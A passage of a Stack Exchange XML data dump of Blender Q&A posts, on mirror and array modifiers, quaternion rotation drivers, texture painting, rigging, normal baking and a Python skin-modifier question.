src=&quot;https://i.stack.imgur.com/CYaSM.png&quot; alt=&quot;Array modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This yields...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JPNHd.png&quot; alt=&quot;Final result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I left it in edit mode so that you can see that only the one bit of geometry needs to be edited in order to get the fully symmetrized result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Editing near the seam opposite the original mirror edge can be a bit wonky at times since it seems impossible to automatically get the clip behavior you get with the mirror modifier.  I'm open to suggestions on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, do people prefer this approach or the other approach better?  Or can someone think of something even better.  I'd rather just have a more flexible mirror modifier but I'm not that far in understanding the code base yet.  Only approximately 24 hours in a day.&lt;/p&gt;&#xA;" OwnerUserId="9651" LastActivityDate="2015-01-24T23:06:15.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23749" PostTypeId="2" ParentId="23727" CreationDate="2015-01-24T23:37:54.477" Score="6" Body="&lt;p&gt;I would use drivers for this. For a simple rotation around a static axis, it's quite straightforward, and the formulae can be entered directly in the driver window. No need for elaborate Python scripts.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A rotation quaternion is composed of four trigonometric values:&lt;br&gt;&#xA;&lt;code&gt;W = cos(a/2)&lt;/code&gt; for clockwise rotation or &lt;code&gt;W = -cos(a/2)&lt;/code&gt; for counter-clockwise rotation&lt;br&gt;&#xA;&lt;code&gt;X = dirX*sin(a/2)&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;Y = dirY*sin(a/2)&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;Z = dirZ*sin(a/2)&lt;/code&gt;&lt;br&gt;&#xA;where &lt;code&gt;a&lt;/code&gt; is the rotation angle and &lt;code&gt;dirX&lt;/code&gt;, &lt;code&gt;dirY&lt;/code&gt; and &lt;code&gt;dirZ&lt;/code&gt; are the &lt;code&gt;X&lt;/code&gt;, &lt;code&gt;Y&lt;/code&gt; and &lt;code&gt;Z&lt;/code&gt; values of a vector that describes the direction of the axis of rotation. This vector should have a &lt;a href=&quot;http://en.wikipedia.org/wiki/Magnitude_%28mathematics%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;magnitude&lt;/a&gt; of 1, i.e. &lt;code&gt;sqrt(dirX**2+dirY**2+dirZ**2) = 1&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For linear rotation where 360° takes a known number of frames,&lt;br&gt;&#xA;&lt;code&gt;a/2 = (frame-1)*pi/(number of frames)&lt;/code&gt;&lt;br&gt;&#xA;(Blender normally starts at frame 1, and the rotation at the first frame should be 0, hence the subtraction of 1 from the frame number).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example file the rotation is around the global Z axis, whose directional vector is &lt;code&gt;(0, 0, 1)&lt;/code&gt;, and 360° takes 40 frames. This yields the following driver functions. Use the Scripted expression driver type.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;W = cos((frame-1)*pi/40)&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;X = 0&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;Y = 0&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;Z = sin((frame-1)*pi/40)&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lz4Gu.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this image, I'm actually rotating around the Y axis in front view, but the basic idea is the same.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZbSmJ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several methods to calculate the values of &lt;code&gt;dirX&lt;/code&gt;, &lt;code&gt;dirY&lt;/code&gt; and &lt;code&gt;dirZ&lt;/code&gt;. I will try to explain two of them.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Method 1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You need to know the angles between the axis of rotation and the global X, Y and Z axes. Let's call these angles &lt;code&gt;aX&lt;/code&gt;, &lt;code&gt;aY&lt;/code&gt; and &lt;code&gt;aZ&lt;/code&gt;. Then it's as simple as&lt;br&gt;&#xA;&lt;code&gt;dirX = cos(aX)&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;dirY = cos(aY)&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;dirZ = cos(aZ)&lt;/code&gt;&lt;br&gt;&#xA;These are the &lt;a href=&quot;http://en.wikipedia.org/wiki/Direction_cosine&quot; rel=&quot;nofollow noreferrer&quot;&gt;direction cosines&lt;/a&gt; of the axis, and if the angles are composed correctly, the vector &lt;code&gt;(dirX, dirY, dirZ)&lt;/code&gt; will have a magnitude of 1. If it doesn't, the angles define an axis that can't exist in 3D space.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Method 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Find the coordinates in the object's &lt;strong&gt;local space&lt;/strong&gt; where the axis of rotation intersects the surface of the object. Let's call them &lt;code&gt;x&lt;/code&gt;, &lt;code&gt;y&lt;/code&gt; and &lt;code&gt;z&lt;/code&gt;. The vector &lt;code&gt;(x, y, z)&lt;/code&gt; will have a magnitude that &lt;em&gt;may&lt;/em&gt; be 1, but quite possibly isn't. To normalize it, simply divide it by its own magnitude. Like this (dividing a vector by a &lt;a href=&quot;http://en.wikipedia.org/wiki/Scalar_%28mathematics%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;scalar&lt;/a&gt; is the same as dividing its individual values by that scalar):&lt;br&gt;&#xA;&lt;code&gt;dirX = x/sqrt(x**2+y**2+z**2)&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;dirY = y/sqrt(x**2+y**2+z**2)&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;dirZ = z/sqrt(x**2+y**2+z**2)&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more in-depth explanation of the math behind all this, is most likely off topic here, but it probably would be right at home at &lt;a href=&quot;https://math.stackexchange.com/&quot;&gt;math.SE&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found the following links quite useful:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.cprogramming.com/tutorial/3d/quaternions.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Using Quaternion to Perform 3D rotations&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://en.wikipedia.org/wiki/Quaternions_and_spatial_rotation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Quaternions and spatial rotation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorUserId="-1" LastEditorDisplayName="user7952" LastEditDate="2017-04-13T12:19:25.310" LastActivityDate="2015-01-28T02:13:03.363" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23750" PostTypeId="2" ParentId="23714" CreationDate="2015-01-25T00:39:22.737" Score="6" Body="&lt;p&gt;&lt;strong&gt;Version 2.76 and after:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See TimCollinsMedia's answer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Prior to version 2.76:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is highly illogical and probably should not effect the display at all, but the setting that makes those two differ is &quot;Alpha blend&quot; in Blender game engine material settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the rendering engine to &quot;Blender Game&quot;, and change this setting from &quot;opaque&quot; to &quot;Alpha blend&quot; in the material settings, then change back to cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UX6AX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="263" LastEditorUserId="263" LastEditDate="2017-02-09T00:11:47.550" LastActivityDate="2017-02-09T00:11:47.550" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="23752" PostTypeId="1" CreationDate="2015-01-25T00:47:06.617" Score="2" ViewCount="153" Body="&lt;p&gt;&lt;strong&gt;How do I find the &lt;em&gt;exact&lt;/em&gt; meeting point of 2 lines?&lt;/strong&gt; I'd like to locate this place, and add a vertex on it. Preferably &lt;em&gt;no python.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some examples that the solution will need to solve for:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Tracing down 2 lines&#xA;&lt;br/&gt;&lt;img src=&quot;https://i.stack.imgur.com/sjL5lm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tracing up one, down another &lt;br/&gt;&lt;img src=&quot;https://i.stack.imgur.com/k228wm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tracing to a line &lt;br/&gt;&lt;img src=&quot;https://i.stack.imgur.com/dSYJwm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;here is a &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/20/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=20&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;P.S. If you have multiple solutions, please post them as different answers to help wit our site stats&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2017-03-14T09:10:21.057" LastActivityDate="2015-02-24T02:03:18.413" Title="How do I find the exact meeting point of 2 lines?" Tags="&lt;modeling&gt;&lt;snapping&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-01-25T01:48:53.233" ContentLicense="CC BY-SA 3.0" />
  <row Id="23754" PostTypeId="2" ParentId="23752" CreationDate="2015-01-25T01:07:27.120" Score="1" Body="&lt;p&gt;This works 100% with perpendiculars, still trying to find a method for non-perpendiculars.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable edge snapping.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;turn the transform orientation to normal.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;make the pivot point median points.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;use the transform (should be Z) handles to drag the point to the edge.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Done&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-25T01:07:27.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23755" PostTypeId="1" AcceptedAnswerId="23763" CreationDate="2015-01-25T01:51:16.793" Score="12" ViewCount="10621" Body="&lt;p&gt;Recently I have been painting textures in Blender, and I am very satisfied with the results as far as standard painting goes, however I have not been able to find any way to easily add text to a texture.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible, and if not, what other workarounds are there?&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2019-07-14T13:37:48.373" Title="Is there a way to paint text onto a texture in Blender?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23756" PostTypeId="2" ParentId="23735" CreationDate="2015-01-25T02:21:27.713" Score="5" Body="&lt;p&gt;In situations like this I find quickly toggling wireframe mode (&lt;kbd&gt;Z&lt;/kbd&gt;) very useful:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pCLRY.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-25T02:21:27.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23757" PostTypeId="1" CreationDate="2015-01-25T02:34:00.303" Score="0" ViewCount="3516" Body="&lt;p&gt;I'm a mac user, so I can't get Source Filmmaker, so I'm using Blender to make gaming animations. I found a whole bunch of Source Filmmaker models on the Steam Workshop website that I wanna use for my animations. Is there any way to get these models and load them onto Blender? Any help will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="10929" LastActivityDate="2021-04-25T04:34:37.593" Title="Can I use Source Filmmaker models in Blender?" Tags="&lt;import&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23760" PostTypeId="2" ParentId="23723" CreationDate="2015-01-25T04:14:16.480" Score="0" Body="&lt;p&gt;I haven't tested this, but the 3ds import has an option for size constraint that controls the model scale while importing, setting it to zero should stop the scaling from happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MllbM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-25T04:14:16.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23761" PostTypeId="1" AcceptedAnswerId="23984" CreationDate="2015-01-25T04:17:37.897" Score="11" ViewCount="2266" Body="&lt;p&gt;By using a vectorized bezier curve, I have successfully created a tube/pipe in 2D (with sharp corners) that a ball of the same radius can roll through:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qmmcg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when trying to achieve the same in 3D, the tube suddenly narrows on sharp corners (everything is still in the same z plane):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K4ahy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to make a 3D tube created this way have a uniform radius? Or is there another method that can make me achieve what I want? I need to make a fairly large tube (up to 1000 segnments). It would be preferred if I didn't have to change every segnment manually, but I will do it if there is no other way.&lt;/p&gt;&#xA;" OwnerUserId="11024" LastEditorUserId="11024" LastEditDate="2015-01-25T15:03:55.463" LastActivityDate="2015-01-30T05:34:00.417" Title="3D tube with sharp corners and uniform radius?" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;bezier-curves&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23762" PostTypeId="2" ParentId="23732" CreationDate="2015-01-25T05:31:32.937" Score="3" Body="&lt;p&gt;The vse is quite powerful but you need to realise that it is media agnostic.  That is any track can accommodate any media. Because audio can be next to or above video you cannot easily add an effect at an edit point. And because there are effectively infinite vertical tracks you need to tell blender which media strips need to be used for an effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is why you must first select the strips to effect then add an effect. If you want to fade from many mixed clips to black for example you would simply key frame the opacity of the top most in coming black strip.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-01-25T05:31:32.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23763" PostTypeId="2" ParentId="23755" CreationDate="2015-01-25T05:35:56.787" Score="10" Body="&lt;p&gt;Blender's painting tools are limited to simple brushes and textures. The easiest way would be to open the image in an image editor and add text to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could open an image with text on it and use it as a &lt;a href=&quot;https://blender.stackexchange.com/a/9069/935&quot;&gt;stencil texture&lt;/a&gt; to paint it onto your mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a hacky workaround you could add a text object, convert to mesh, use a boolean modifier to cut it out of a plane, then position it in front of your object and join it to your mesh and paint through the hole. Then you can select the disconnected mesh and delete it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U2aIa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-01-25T05:35:56.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23764" PostTypeId="2" ParentId="6063" CreationDate="2015-01-25T06:50:31.920" Score="11" Body="&lt;p&gt;I also had this problem,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to the above which is correct (making sure your subsurf modifier is below the mirror modifier, and making sure that all your vertices are lined up cleanly along the mirror axis)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my problem was that I had some faces on the inside edge of my model. To fix it I deleted the mirror modifier, selected the faces on the inside edge and deleted them. Put back the mirror modifier and voila working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just posting in case someone else gets stuck on it. It had me puzzled for a while how there could be a seam or split down the middle of my model with the subsurf on.&lt;/p&gt;&#xA;" OwnerUserId="11209" LastActivityDate="2015-01-25T06:50:31.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23765" PostTypeId="2" ParentId="23727" CreationDate="2015-01-25T07:24:19.453" Score="4" Body="&lt;p&gt;Inspired by answers from SixthOfFour and Jerryno, I optimized the curve with the relatively new &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.71/Animation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Robert Penner Easing Equations&lt;/a&gt; feature, set type to &lt;strong&gt;Sinusoidal&lt;/strong&gt;, which saves quite a lot keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aJnic.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B1ojv5B6Lb-3WDdwMmR6MmVkZ2M/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;example file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-04-06T01:49:39.117" LastActivityDate="2015-04-06T01:49:39.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23766" PostTypeId="1" CreationDate="2015-01-25T09:21:15.603" Score="0" ViewCount="1556" Body="&lt;p&gt;I recently downloaded a character model and was hoping to play around with it. I am new to Blender so I've watched some tutorials on how to pose characters with armatures. But the character model I downloaded has a premade skeleton and there are no grey bone things. So I am not sure how to pose this character using the premade skeleton. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the download link for the character. &lt;a href=&quot;http://tf3dm.com/3d-model/bastet-50797.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://tf3dm.com/3d-model/bastet-50797.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot of the premade skeleton&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YrFR4.png&quot; alt=&quot;enter image description here&quot;&gt; &#xA;&lt;img src=&quot;https://i.stack.imgur.com/HzC3d.png&quot; alt=&quot;enter image description here&quot;&gt; &#xA;&lt;img src=&quot;https://i.stack.imgur.com/ioJmL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11211" LastActivityDate="2015-01-25T10:40:06.120" Title="Downloaded a character model that has a skeleton but need help so i can pose it" Tags="&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23767" PostTypeId="1" AcceptedAnswerId="23795" CreationDate="2015-01-25T10:37:40.710" Score="3" ViewCount="4287" Body="&lt;p&gt;When encoding videos with H.264, I'm used to the &lt;a href=&quot;https://trac.ffmpeg.org/wiki/Encode/H.264#crf&quot; rel=&quot;nofollow noreferrer&quot;&gt;constant rate factor&lt;/a&gt; compression setting. However I don't see anything like it in blender's options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vgVZK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to set the constant rate factor from the GUI? If not, what do these settings do? I can only assume they are for the &lt;a href=&quot;https://trac.ffmpeg.org/wiki/Encode/H.264#twopass&quot; rel=&quot;nofollow noreferrer&quot;&gt;two-pass&lt;/a&gt; method, but I'm not sure which ones correspond to the descriptions in the wiki.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2017-10-24T21:43:08.733" Title="How do the H.264 encoding settings work in blender?" Tags="&lt;rendering&gt;&lt;video&gt;&lt;file-format&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23768" PostTypeId="2" ParentId="23766" CreationDate="2015-01-25T10:40:06.120" Score="1" Body="&lt;p&gt;It seems that the rig and the model were created by another 3D software and have been imported to Blender. I doubt that this rig works well in Blender, but to answer you question first. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In &lt;em&gt;Object Mode&lt;/em&gt; Select the model &lt;kbd&gt;RMB&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select the rig &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;RMB&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;P&lt;/kbd&gt; With automatic weights &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The bones shape can be changed in the properties panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f7TRJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your first steps I would recommend to find another model that meets the blender conventions. Or use the rigify addon to create your own rig.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-01-25T10:40:06.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23769" PostTypeId="1" CreationDate="2015-01-25T12:33:47.207" Score="1" ViewCount="822" Body="&lt;p&gt;I have spent quite a while working on a baking a normal map from a high poly model onto a low poly model, and the result every time regardless of how I unwrap the low poly model is always severely distorted and tends to be squashed or smaller than the actual uv itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some screenshots of the models and the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y5amY.png&quot; alt=&quot;Image of high poly and low poly with distorted/incorrect normal map product&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assistance is much appreciated, as always and thanks in advanced :D&lt;/p&gt;&#xA;" OwnerUserId="11213" LastActivityDate="2015-02-24T13:54:59.713" Title="Normal map baking creates distorted normal" Tags="&lt;texturing&gt;&lt;normals&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23770" PostTypeId="1" AcceptedAnswerId="44477" CreationDate="2015-01-25T12:48:25.003" Score="4" ViewCount="132" Body="&lt;p&gt;This has me stumped.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;meshes = bpy.data.meshes&#xA;objects = bpy.data.objects&#xA;scene = bpy.context.scene&#xA;&#xA;def new_mesh(name):&#xA;    verts = [(3, 3, -3), (3, -3, -3), (-3, -3, -3)]&#xA;    edges = [(0, 1),(1,2),(2,0)]&#xA;    mesh_data = meshes.new(name)&#xA;    mesh_data.from_pydata(verts, edges, [])&#xA;    mesh_data.update()&#xA;    return mesh_data&#xA;&#xA;mesh = new_mesh('some_mesh')&#xA;obj = objects.new('example_obj', mesh)&#xA;scene.objects.link(obj)&#xA;obj.modifiers.new(type='SKIN', name='sv_skin')&#xA;&#xA;print(len(obj.data.skin_vertices))&#xA;&#xA;&#xA;# now switch the mesh to a new one.&#xA;obj.data = new_mesh('some_other_mesh')&#xA;&#xA;print(len(obj.data.skin_vertices))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This snippet demonstrates a problem I'm having. Once i've added a Skin Modifier to the object, and then change the mesh data by assigning a new mesh to .data, then skin_vertices seems to be empty.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Yes there are workarounds.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;@stacker below points out that I can remove and add the modifier to make skin_vertices again. This is a &lt;a href=&quot;https://github.com/nortikin/sverchok/blob/master/nodes/basic_view/viewer_skin.py&quot; rel=&quot;nofollow&quot;&gt;solution I use already&lt;/a&gt;, but it results in a lot of extra code to make sure other modifiers stay in the right place. In viewer_skin.py (linked to) I am hardcoding the modifiers, but you should imagine that I don't want to make any assumptions about which modifiers are on that stack at all (except for the skin modifier)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to not use &lt;code&gt;bpy.ops.object.modifier_(move_up, move_down, add)&lt;/code&gt; because that requires an active object.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2016-01-07T10:09:22.143" LastActivityDate="2016-01-07T10:29:24.950" Title="disappearing skin_vertices after assigning new mesh to object" Tags="&lt;python&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23771" PostTypeId="2" ParentId="23769" CreationDate="2015-01-25T13:12:25.870" Score="2" Body="&lt;p&gt;For people who are having trouble with this, the solution is to make sure the models are directly on top of each other.&lt;/p&gt;&#xA;" OwnerUserId="11213" LastActivityDate="2015-01-25T13:12:25.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23772" PostTypeId="1" CreationDate="2015-01-25T14:31:54.733" Score="2" ViewCount="3340" Body="&lt;p&gt;I have two texture nodes for my object. I'm using the &quot;normal&quot; node to create a bump map by connecting the &quot;color&quot; output of texture1 to the &quot;normal&quot; input of the &quot;normal&quot; node and taking the output to the &quot;displacement&quot; in &quot;material output&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I need to apply the displacement only to those areas that are transparent in texture2. How can I use the alpha channel of texture2 to mask out texture1 before it goes to the input of the normal node?&lt;/p&gt;&#xA;" OwnerUserId="11214" LastActivityDate="2015-01-25T14:39:39.243" Title="Use alpha of one texture node to mask another texture node" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23773" PostTypeId="2" ParentId="23772" CreationDate="2015-01-25T14:39:39.243" Score="4" Body="&lt;p&gt;I think I got it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used a mix RGB node and put my texture1 into the upper slot and a transparent color into the lower slot. Then I put the alpha of texture2 into the &quot;fac&quot; of the mix node. &lt;/p&gt;&#xA;" OwnerUserId="11214" LastActivityDate="2015-01-25T14:39:39.243" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23774" PostTypeId="1" CreationDate="2015-01-25T15:05:07.783" Score="1" ViewCount="70" Body="&lt;p&gt;Just been playing with the Gooseberry build of blender and there is a AO darkening mode for the view port. This would be so so useful in cycles itself as the current AO setting only lightens things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you can darken using anAO pass in post pro but that is not practical when you need to preview things fast.&lt;/p&gt;&#xA;" OwnerUserId="3471" LastActivityDate="2015-01-25T15:05:07.783" Title="Why no AO darkening mode in cycles?" Tags="&lt;materials&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23775" PostTypeId="2" ParentId="23746" CreationDate="2015-01-25T16:16:28.557" Score="2" Body="&lt;p&gt;I think you are confused about how to use  dissolve..  or about the differences between dissolve and delete:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;check this fast video I made for you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=7vEnOqUZ7Lk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=7vEnOqUZ7Lk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;also check:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/2455/differences-between-dissolve-and-delete&quot;&gt;Differences between dissolve and delete?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mzUpt.png&quot; alt=&quot;right dissolve operation&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-01-25T16:26:00.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
